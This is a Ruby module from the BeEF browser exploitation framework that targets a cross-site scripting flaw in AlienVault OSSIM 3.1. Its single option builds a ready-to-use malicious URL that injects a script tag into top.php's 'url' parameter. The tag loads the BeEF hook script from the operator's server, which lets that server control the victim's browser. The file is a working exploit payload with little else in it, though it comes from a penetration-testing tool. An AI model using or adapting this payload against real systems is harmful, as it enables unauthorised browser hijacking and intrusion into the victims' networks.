22 lines
815 B
Ruby
22 lines
815 B
Ruby
#
|
|
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
|
|
# Browser Exploitation Framework (BeEF) - https://beefproject.com
|
|
# See the file 'doc/COPYING' for copying permission
|
|
#
|
|
class Alienvault_ossim_3_1_xss < BeEF::Core::Command
|
|
def self.options
|
|
configuration = BeEF::Core::Configuration.instance
|
|
proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http'
|
|
hook_file = configuration.get('beef.http.hook_file')
|
|
hook_uri = "#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}#{hook_file}"
|
|
|
|
[
|
|
{ 'name' => 'uri', 'ui_label' => 'Target URL', 'value' => "http://target/ossim/top.php?option=3&soption=3&url=<script src=#{hook_uri}></script>" }
|
|
]
|
|
end
|
|
|
|
def post_execute
|
|
save({ 'result' => @datastore['result'] })
|
|
end
|
|
end
|